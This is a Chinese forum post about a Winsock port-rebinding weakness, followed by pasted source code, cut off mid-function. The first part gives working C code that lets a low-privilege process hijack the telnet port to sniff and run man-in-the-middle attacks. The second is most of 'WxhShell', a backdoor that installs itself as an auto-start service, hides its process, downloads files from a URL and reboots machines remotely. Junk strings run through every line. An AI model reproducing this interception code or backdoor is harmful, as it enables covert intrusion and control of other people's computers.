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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: i{qgn%#}Y  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); h FBe,'3M  
S`]k>' l  
  saddr.sin_family = AF_INET; EB|}fz  
J|rq*XD}q  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); yaV|AB$v  
-35;j'a  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 6-ils3&  
Uoix  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 t.C5+^+%  
;xn0;V'=  
  这意味着什么?意味着可以进行如下的攻击: mXs; b 2r^  
Oa>Ppldeg  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 _h1mF<\ X^  
S`Rs82>  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ] @fk] ]R  
*DhiN  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 J<lO= +mg  
)}O8?d`  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Y`wSv NU  
bi;1s'Y<D  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 r9G>jiw8  
;YL i{  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 #gw]'&{8D  
he hFEyx  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 18:%~>.!  
KJZ4AWH`  
  #include ENY+^7  
  #include iO; 7t@]-  
  #include P=G3:eX  
  #include    \Y}8S/]  
  DWORD WINAPI ClientThread(LPVOID lpParam);   R@rBEW&  
  int main() &b& ,  
  { R ViuJ;  
  WORD wVersionRequested; 9=2$8JN=(l  
  DWORD ret; X!g#T9kG  
  WSADATA wsaData; S ByW[JE  
  BOOL val; [}]Q?*_  
  SOCKADDR_IN saddr; |LKXOU c  
  SOCKADDR_IN scaddr; 7Hu3>4<  
  int err; c~ V*:$F  
  SOCKET s; M\Kx'N  
  SOCKET sc; nzeX[*  
  int caddsize; u> 7=AlWF-  
  HANDLE mt; jW@Uo=I[  
  DWORD tid;   Xla~Yg  
  wVersionRequested = MAKEWORD( 2, 2 ); bA->{OPkT  
  err = WSAStartup( wVersionRequested, &wsaData ); (Ep\Z 6*  
  if ( err != 0 ) { 7D5]G-}x.  
  printf("error!WSAStartup failed!\n"); #Mw8^FST  
  return -1; Pgea NK5Y  
  } f& '  
  saddr.sin_family = AF_INET; VW4r{&rS  
   icK/],  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 u;c?d!E  
J-hbh  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); M =r)I~  
  saddr.sin_port = htons(23); c!9nnTap  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) yz8jw:d^-  
  { V~5jfcd  
  printf("error!socket failed!\n"); 8X|-rM{  
  return -1; ^J;bso`  
  } ea')$gR  
  val = TRUE; ,nm*q#R,0  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 N ?"]  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) n6a`;0f[R  
  { /I0%Z+`=  
  printf("error!setsockopt failed!\n"); Y0 -n\|  
  return -1; X}\:_/  
  } ~R92cH>L  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; dlTt _.  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 [u*5z.^  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 &KRX[2  
}U"&8%PZr  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) N//K Ph  
  { ?<'}r7D   
  ret=GetLastError(); O@C@eW#  
  printf("error!bind failed!\n"); jtc]>]6i  
  return -1; @6T/Tdz  
  } JnM["Q=`  
  listen(s,2); `RL"AH:+  
  while(1) QB'aON\S  
  { pg)WKbV  
  caddsize = sizeof(scaddr); v z '&%(  
  //接受连接请求 X_\otV h(D  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); x+@rg];m  
  if(sc!=INVALID_SOCKET) ,1o FPa{?  
  { @r/n F5  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ]-/VHh  
  if(mt==NULL) }Ud*TOo`  
  { ?+}_1x`  
  printf("Thread Creat Failed!\n"); a HR"n|7{  
  break; k_nql8H  
  } 9m~p0ILh  
  } <lE <f+  
  CloseHandle(mt); {[?(9u7R  
  } _.Uh)-yR  
  closesocket(s); Cd}<a?m,  
  WSACleanup(); 'kO!^6=4M  
  return 0; nk' s_a*Z  
  }   H ]Z$OpI  
  DWORD WINAPI ClientThread(LPVOID lpParam) fHd#u%63K  
  { 57']#j#"hj  
  SOCKET ss = (SOCKET)lpParam; |imM# wF  
  SOCKET sc; z/@slT  
  unsigned char buf[4096]; ?QdWrE_  
  SOCKADDR_IN saddr; Uf;^%*P4  
  long num; [ ~c|mOk  
  DWORD val; =R$u[~Xl2X  
  DWORD ret; 7} 5JDG  
  //如果是隐藏端口应用的话,可以在此处加一些判断 h^(* Tv-!  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   nazZ*lC  
  saddr.sin_family = AF_INET; A0 C,tVd  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ra gXn  
  saddr.sin_port = htons(23); XrGglBIV  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) y(yHt= r  
  { eiaFaYe\  
  printf("error!socket failed!\n"); rlSeu5X6  
  return -1; =wV<hg)C  
  } h_,i&d@(  
  val = 100; X[BIA+6  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) DgQp HF  
  { jZkcBIK2  
  ret = GetLastError(); yEoF4bt  
  return -1; =Toy Zm\  
  } bUdLs.:  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) M; tqp8  
  { Ee%%d  
  ret = GetLastError(); \aUC(K~o\;  
  return -1; _FU_Ubkr  
  } SBk4_J/_  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) !6O(-S2A  
  { sW'AjI  
  printf("error!socket connect failed!\n"); Y0dEH^I  
  closesocket(sc); Y>dzR)~3[  
  closesocket(ss); '9Xu p  
  return -1; pG^  
  } =M [bnq*\  
  while(1) i0kak`x0  
  { .*S#aq4S  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 b)5uf'?-  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 UapC"XYJ  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 x$.^"l-vX  
  num = recv(ss,buf,4096,0); ^]0Pfna+N  
  if(num>0) dI@(<R  
  send(sc,buf,num,0); /}fHt^2H  
  else if(num==0) qHplJ "  
  break; bL+_j}{:N  
  num = recv(sc,buf,4096,0); FF(#]vz'  
  if(num>0) 0oZ= yh  
  send(ss,buf,num,0); CR`Q#Yi  
  else if(num==0) u=?.}Pj  
  break; BB!THj69a6  
  } Ms5ap<q#  
  closesocket(ss); 6azGhxh  
  closesocket(sc); WwBOM~/`2  
  return 0 ; j@U]'5EVB  
  } ]7F=u!/`<C  
 gmO!  
gx8ouOh  
========================================================== ]}-7_n#cC  
F|o:W75  
下边附上一个代码,,WXhSHELL 3G)#5 Lf<  
9Zt`u,;  
========================================================== %S@ZXf~:  
g1/[eoZzk  
#include "stdafx.h" n.`($yR_  
J6s`'gFns  
#include <stdio.h> QT< }] 0  
#include <string.h> 4$iz4U:P  
#include <windows.h> iwZPpl ";  
#include <winsock2.h> +,T RfP Fb  
#include <winsvc.h> pMx*F@&nU  
#include <urlmon.h> |+FubYf?$  
 3s,g*  
#pragma comment (lib, "Ws2_32.lib") 1#V_Z^OL  
#pragma comment (lib, "urlmon.lib") hYT0l$Ng  
fo*2:?K&  
#define MAX_USER   100 // 最大客户端连接数 w;[NH/A^a  
#define BUF_SOCK   200 // sock buffer 6y%qVx#!  
#define KEY_BUFF   255 // 输入 buffer zUkgG61  
h:b)Wr  
#define REBOOT     0   // 重启 JgKO|VO  
#define SHUTDOWN   1   // 关机 =w_Ype`  
]_mb7X>  
#define DEF_PORT   5000 // 监听端口 Fh?gNSWq6  
Z58 X5"  
#define REG_LEN     16   // 注册表键长度 {3>$[bT  
#define SVC_LEN     80   // NT服务名长度 ^EtMxF@D  
n71r_S*  
// 从dll定义API }l(&}#dY  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ?yrX)3hyH  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); U2tV4_ e  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); b(eNmu  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); :}L[sl\R  
Sxt"B  
// wxhshell配置信息 T] f ;km  
struct WSCFG { 4x=v?g&  
  int ws_port;         // 监听端口 >\-hO&%_  
  char ws_passstr[REG_LEN]; // 口令 >a!/QMh  
  int ws_autoins;       // 安装标记, 1=yes 0=no fy>{QC\  
  char ws_regname[REG_LEN]; // 注册表键名 $u$!tj  
  char ws_svcname[REG_LEN]; // 服务名 )al]*[lY  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 lLX4Gq1  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 O@T9x$  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 n$MO4s8)  
int ws_downexe;       // 下载执行标记, 1=yes 0=no z\\[S@>pt  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" dc+>m,3$  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 2RVN\?s:  
O W_{$9U  
}; |{z:IQLv  
.wEd"A&j  
// default Wxhshell configuration %+aCJu[k(z  
struct WSCFG wscfg={DEF_PORT, I13y6= d  
    "xuhuanlingzhe", =m]v8`g  
    1, JK7G/]j+Ez  
    "Wxhshell", GL>O4S<`  
    "Wxhshell", >2y':fO  
            "WxhShell Service", QGMV}y  
    "Wrsky Windows CmdShell Service", ~dyTVJ$  
    "Please Input Your Password: ", b <tNk]7  
  1, v^sv<4*%  
  "http://www.wrsky.com/wxhshell.exe", $g^@AdE%  
  "Wxhshell.exe" _>o:R$ %}  
    }; z 4e7PW|  
u4*BX&  
// 消息定义模块 f%A;`4 `q  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; @f_Lp%K  
char *msg_ws_prompt="\n\r? for help\n\r#>"; [7:,?$tC  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; juP7P[d$qW  
char *msg_ws_ext="\n\rExit."; *[Imn\hu  
char *msg_ws_end="\n\rQuit."; WqR&&gz  
char *msg_ws_boot="\n\rReboot..."; sbfuzpg]*  
char *msg_ws_poff="\n\rShutdown..."; G~]Uk*M q  
char *msg_ws_down="\n\rSave to "; CYf$nYR  
^7`BP%6  
char *msg_ws_err="\n\rErr!"; xBj 9y u  
char *msg_ws_ok="\n\rOK!"; V%t.l  
zF@/K`  
char ExeFile[MAX_PATH]; x f'V{9*  
int nUser = 0; "-M p_O]  
HANDLE handles[MAX_USER]; SjK  
int OsIsNt; ;gD})@  
b35fs]}u-6  
SERVICE_STATUS       serviceStatus; 3RUy, s  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; JB\UKZXw  
!@5 9)  
// 函数声明 QDZWX`qw{  
int Install(void); 3h]g}&k  
int Uninstall(void); H[T?\Lq  
int DownloadFile(char *sURL, SOCKET wsh); 5G}?fSQ>  
int Boot(int flag); g%aYDl  
void HideProc(void); XjBW9a  
int GetOsVer(void); q#~ (/  
int Wxhshell(SOCKET wsl); 9FF0%*tGo  
void TalkWithClient(void *cs); |o7[|3:M  
int CmdShell(SOCKET sock); &Hrj3E  
int StartFromService(void); 4a&RYx  
int StartWxhshell(LPSTR lpCmdLine); ?C]vS_jAh  
-$\y_?}  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ]iVcog"T  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); y4yhF8E>;U  
XMZ,Y7  
// 数据结构和表定义 />C^WQI^  
SERVICE_TABLE_ENTRY DispatchTable[] = ]IaMp788  
{ \Zk;ikEY  
{wscfg.ws_svcname, NTServiceMain}, Z<oaK  
{NULL, NULL} #{0HYg?(f  
}; #x@$ lc=k3  
VCYwzB  
// 自我安装 WH%g(6w1j  
int Install(void) j\yjc/m  
{ qyb?49I  
  char svExeFile[MAX_PATH]; ?PLPf>e  
  HKEY key; TT%M' 5&  
  strcpy(svExeFile,ExeFile); 5{TsiZh4  
+SzU  
// 如果是win9x系统,修改注册表设为自启动 SZ7:u895E  
if(!OsIsNt) { q$L%36u~/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { yNBQGSH  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]Ee?6]bN  
  RegCloseKey(key); QP==?g3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Xxj- 6i  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); O ;Rqv  
  RegCloseKey(key); W_293["lS  
  return 0; BkAm/R  
    } AD> e?u  
  } @ )F)S 7  
} `%bypHeSp  
else { >dXGee>'M  
L<c4kw  
// 如果是NT以上系统,安装为系统服务 te`$%NRl  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); J`Q>3] wL  
if (schSCManager!=0) iO$8:mxm0?  
{ ^S<Y>Nm]  
  SC_HANDLE schService = CreateService NSMyliM1Y  
  ( @)+AaC#-  
  schSCManager, $QF{iV@6d4  
  wscfg.ws_svcname, /V8 #[9K  
  wscfg.ws_svcdisp, O^PKn_OJ  
  SERVICE_ALL_ACCESS, a~`eQ_N D  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ;<Sd~M4f  
  SERVICE_AUTO_START, =[ 46`-_  
  SERVICE_ERROR_NORMAL, .~db4d]  
  svExeFile, Y|m +dT6  
  NULL, qAr M|\l1  
  NULL, g9pZ\$J&  
  NULL, 3yme1Mb  
  NULL, *"2+B&Y  
  NULL t,Lrfv])  
  ); M7\szv\Zc=  
  if (schService!=0) g'f@H-KCD  
  { ;>hO+Wo  
  CloseServiceHandle(schService); >=lC4Tu  
  CloseServiceHandle(schSCManager); ;}WeTA_-[  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ]EbM9Fo-U  
  strcat(svExeFile,wscfg.ws_svcname); w(Ovr`o?9t  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { EP&,MYI%E  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); b6M[q_   
  RegCloseKey(key); YaqR[F  
  return 0; ,pfG  
    } "^[ 'y7i  
  } CkC^'V)  
  CloseServiceHandle(schSCManager); ;+_:,_  
} P[-E@0h)-t  
} I|!OY`ko  
/N+dQe  
return 1; Gu,wF(x7A  
} /HEw-M9z  
(/YHk`v2  
// 自我卸载 Es`Px_k  
int Uninstall(void) e]aDP 1n3t  
{ ;d$rdFA_  
  HKEY key; +E+p"7  
A2FYBM`Q&D  
if(!OsIsNt) { Wi<m{.%\E  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3*bU6$|5FP  
  RegDeleteValue(key,wscfg.ws_regname); l'1pw  
  RegCloseKey(key); 8`{:MkXP  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @bLy,Xr&  
  RegDeleteValue(key,wscfg.ws_regname); xa*hi87L*  
  RegCloseKey(key); dQX6(J j  
  return 0; ]0OR_'?,  
  } c#]4awHU  
} Hio0HL-  
} .43'HV  
else { y<3-?}.aZ  
ttQGoUkj  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 'oVx#w^mf  
if (schSCManager!=0) W i.& e  
{ l&zilVVm  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); hfB%`x#akQ  
  if (schService!=0) $wa{~'  
  { h" W,WxL8  
  if(DeleteService(schService)!=0) { a-tmq]]E  
  CloseServiceHandle(schService); V Q@   
  CloseServiceHandle(schSCManager); t}4, ]m s  
  return 0; RP|`HkP-2  
  } C): 1?@  
  CloseServiceHandle(schService); d-ko ^Y0  
  } 1GRCV8 "Z^  
  CloseServiceHandle(schSCManager); 4_lrg|X1  
} 372rbY  
} XT*sGM  
3}1u\(Mf  
return 1; T!{w~'=F  
} T>Z<]s  
8,%^ M9zBP  
// 从指定url下载文件 cjY-y-vO  
int DownloadFile(char *sURL, SOCKET wsh) ~?}Emn;t  
{ 3?yg\  
  HRESULT hr; B6 ;|f'e!  
char seps[]= "/"; gD?l-RT>  
char *token; r6qj7}\  
char *file; Q&;9 x?e  
char myURL[MAX_PATH]; bJ%h53  
char myFILE[MAX_PATH]; "sCRdx]_  
33q}CzK  
strcpy(myURL,sURL); =nS3p6>rZ  
  token=strtok(myURL,seps); B3I`40#  
  while(token!=NULL) &z3o7rif$  
  { ]m<$}  
    file=token; jr. "I+  
  token=strtok(NULL,seps); Vb_4f"  
  } !pW0qX\1n  
tNI^@xdim1  
GetCurrentDirectory(MAX_PATH,myFILE); )akoa,#%6c  
strcat(myFILE, "\\"); p2](_}PK  
strcat(myFILE, file); {\5  
  send(wsh,myFILE,strlen(myFILE),0); WT=;:j  
send(wsh,"...",3,0); " 8MF_Gu):  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Q%G8U#Tm  
  if(hr==S_OK) "+s++@ z  
return 0; FZlWsp=  
else 4HlQ&2O%#  
return 1; n>YKa)|W`  
0e4{{zQx  
} ##*3bDf$-5  
7NGxa6wi  
// 系统电源模块 %u'u kcL7  
int Boot(int flag) L4HI0Mx  
{ QWYJ *  
  HANDLE hToken; ICQKP1WFp  
  TOKEN_PRIVILEGES tkp; %h@EP[\  
/8S>;5hvK@  
  if(OsIsNt) { VPo".BvG6  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); L8B! u9%  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); rILYI;'o  
    tkp.PrivilegeCount = 1; 8A# ;WG  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ]a`$LW}  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ;=z:F<Y  
if(flag==REBOOT) { >[#f\bG>  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) <5051U Eu  
  return 0; PW0LG^xp`  
} JZ x[W&]zT  
else { yWSGi#)1  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) z{QqY.Gu{G  
  return 0; GbI/4<)l}  
} Bzf^ivT3L  
  } CU0YIL  
  else { *.[. {qG(  
if(flag==REBOOT) { J&_n9$  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) :2`e(+Uz  
  return 0; e0 ecD3  
} K&-"d/QuLg  
else { ?@x/E&  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 3v-~K)hl?  
  return 0; +}AI@+  
} SpBy3wd  
} #'`{Qv0,  
QT}tvm@PMq  
return 1; n@3>6_^rwT  
} c+ie8Q!  
xE}>,O|'q  
// win9x进程隐藏模块 c71y'hnT  
void HideProc(void) * T1_;4i  
{ DY*N|OnqJ  
MdF2Gk-9  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); !G|@6W`  
  if ( hKernel != NULL ) ['D]>Ot68  
  { l]SX@zTb  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); /-s6<e!  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); zQ PQ  
    FreeLibrary(hKernel); 6]wIG$j  
  } :4|4=mkr  
pj(,Zd[47  
return; Zd+bx*rD  
}  \=o-  
]M3yLYK/P  
// 获取操作系统版本 iy"*5<;*DD  
int GetOsVer(void) :!QAC@  
{ j<$2hiI/?&  
  OSVERSIONINFO winfo; 2an f$^[  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ;*J  
  GetVersionEx(&winfo); .+qpk*V\  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) *zLMpL_  
  return 1; [F7hu7zY8  
  else uAk.@nfiEv  
  return 0; q(w(Sd)#L  
} Hr C+Yjp  
^zr`;cJ+c  
// 客户端句柄模块 dN6?c'iN?2  
int Wxhshell(SOCKET wsl) /wv0i3_e  
{ UF|p';oom  
  SOCKET wsh; ^J{:x  
  struct sockaddr_in client; pfPz8L.7  
  DWORD myID; Wn6Sn{8W{  
.)3<Q}>  
  while(nUser<MAX_USER) HZOMlOZ  
{ p<%d2@lp  
  int nSize=sizeof(client); $;PMkUE  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); n"8Yv~v*2j  
  if(wsh==INVALID_SOCKET) return 1; SrJE_~i  
/kG_*>.Z  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); gDzK{6Z}  
if(handles[nUser]==0) A}^mdw9  
  closesocket(wsh); FTldR;}(  
else }B^tL$k  
  nUser++; _v:SP LU  
  } $Kd>:f=A  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 3U}%2ARo_  
mZBo~(}  
  return 0; 8,|kao:  
} #Q5o)x  
H*6W q  
// 关闭 socket =lSNs   
void CloseIt(SOCKET wsh) Xc.`-J~Il  
{ k{0o9,  
closesocket(wsh); d5-qZ{W  
nUser--; }a/Cro.~4  
ExitThread(0); 0 "#HJA44  
} hGrdtsH?  
0\$2X- c  
// 客户端请求句柄 @nf`Gw ;  
void TalkWithClient(void *cs) ,,TnIouy  
{ :KO2| v\  
fy$1YI>!Q  
  SOCKET wsh=(SOCKET)cs; vSh`&w^*  
  char pwd[SVC_LEN]; TZ`SZDc7_  
  char cmd[KEY_BUFF]; AwN!;t_0+N  
char chr[1]; 'q.!|G2U  
int i,j; kVL.PY\K  
P;*(hY5&  
  while (nUser < MAX_USER) { w =KPT''!  
$xQL]FmS  
if(wscfg.ws_passstr) { Gh$^{  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _B0L.eF  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Pc9H0\+Xk  
  //ZeroMemory(pwd,KEY_BUFF); I@3MO0V^  
      i=0; r*Xuj=  
  while(i<SVC_LEN) { SX*RP;vHy  
OJxl<Q=z  
  // 设置超时 z)"=:o7  
  fd_set FdRead; Debv4Gr;^  
  struct timeval TimeOut; .^g p?  
  FD_ZERO(&FdRead); KmF]\:sMD  
  FD_SET(wsh,&FdRead); cnLro  
  TimeOut.tv_sec=8; uw7zWJ n  
  TimeOut.tv_usec=0; _G0 x3  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); liSmjsk  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); H>C=zo,oiC  
c9Yrw^  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `x|?&Ytmf9  
  pwd=chr[0]; Mfs?x a  
  if(chr[0]==0xd || chr[0]==0xa) { $J2Gf(RU  
  pwd=0; =QsYXK7Mn4  
  break; q:(%*sY>  
  } UI#h&j5pW  
  i++; #b`k e/P  
    } +qoRP2  
ix$bRdl  
  // 如果是非法用户,关闭 socket $u.z*b_yy  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); :Sma`U&  
} M}Sv8D]I  
7 3m1  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); "}!G!k:  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8_8l.!~  
&NWEqBz*2  
while(1) { C]#,+q*  
RZ7@cQY  
  ZeroMemory(cmd,KEY_BUFF); <q SC#[xu  
nlYNN/@"  
      // 自动支持客户端 telnet标准   +0~YP*I`/  
  j=0; ,)XLq8  
  while(j<KEY_BUFF) {  J *yg&  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); yw!{MO  
  cmd[j]=chr[0]; Z7#+pPt!  
  if(chr[0]==0xa || chr[0]==0xd) { "#]$r  
  cmd[j]=0; ,^:.dFH6  
  break; FtZ?C@1/  
  } rc{v$.o0  
  j++; Ngwb Q7)  
    } #?E"x/$Y6  
/mMV{[  
  // 下载文件 1,~D4lD|  
  if(strstr(cmd,"http://")) { hc1N ~$3!G  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); j6YOKJX  
  if(DownloadFile(cmd,wsh)) <UI [%yXj  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?CZd Ol  
  else GmG 5[?)  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Nl/dX-I  
  } phK/   
  else { iwq!w6+  
;*N5Y}?j'  
    switch(cmd[0]) { ,bd_:  
  7 &\yj9  
  // 帮助 -} +[  
  case '?': { lk!@?  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); *#2h/Q.  
    break; l.]xB,k  
  } @7u0v  
  // 安装 B1gR5p0  
  case 'i': { ==B6qX8T  
    if(Install()) G B^Br6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); lFk R=!?=  
    else .VqhV  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); us.~G  
    break; RNL9>7xV  
    } )_:NLo:  
  // 卸载 6LZCgdS{  
  case 'r': { "&] -2(  
    if(Uninstall()) 0"R|..l/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =AT."$r>  
    else _GPe<H  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E$e5^G9  
    break; NHt\ U9l'  
    } [7-?7mp!B  
  // 显示 wxhshell 所在路径 y} '@R$  
  case 'p': { 3%6? g*  
    char svExeFile[MAX_PATH]; QP x^_jA  
    strcpy(svExeFile,"\n\r"); 8|^7ai[am  
      strcat(svExeFile,ExeFile); xo)P?-  
        send(wsh,svExeFile,strlen(svExeFile),0); h1RSVp+?n  
    break; _aphkeqd  
    } ?0.NIu,,o  
  // 重启 YUb_y^B^  
  case 'b': { F@t3!bj9  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); !Cs_F&l"j  
    if(Boot(REBOOT)) s.rm7r@ #  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); UG^q9 :t  
    else { $qiya[&G4  
    closesocket(wsh); r%_djUd  
    ExitThread(0); wzA$'+Mb  
    } ,uvRi)O>a  
    break;  G*m 0\  
    } NbobliC=  
  // 关机 Gdw VtqbX  
  case 'd': { Xvv6~  
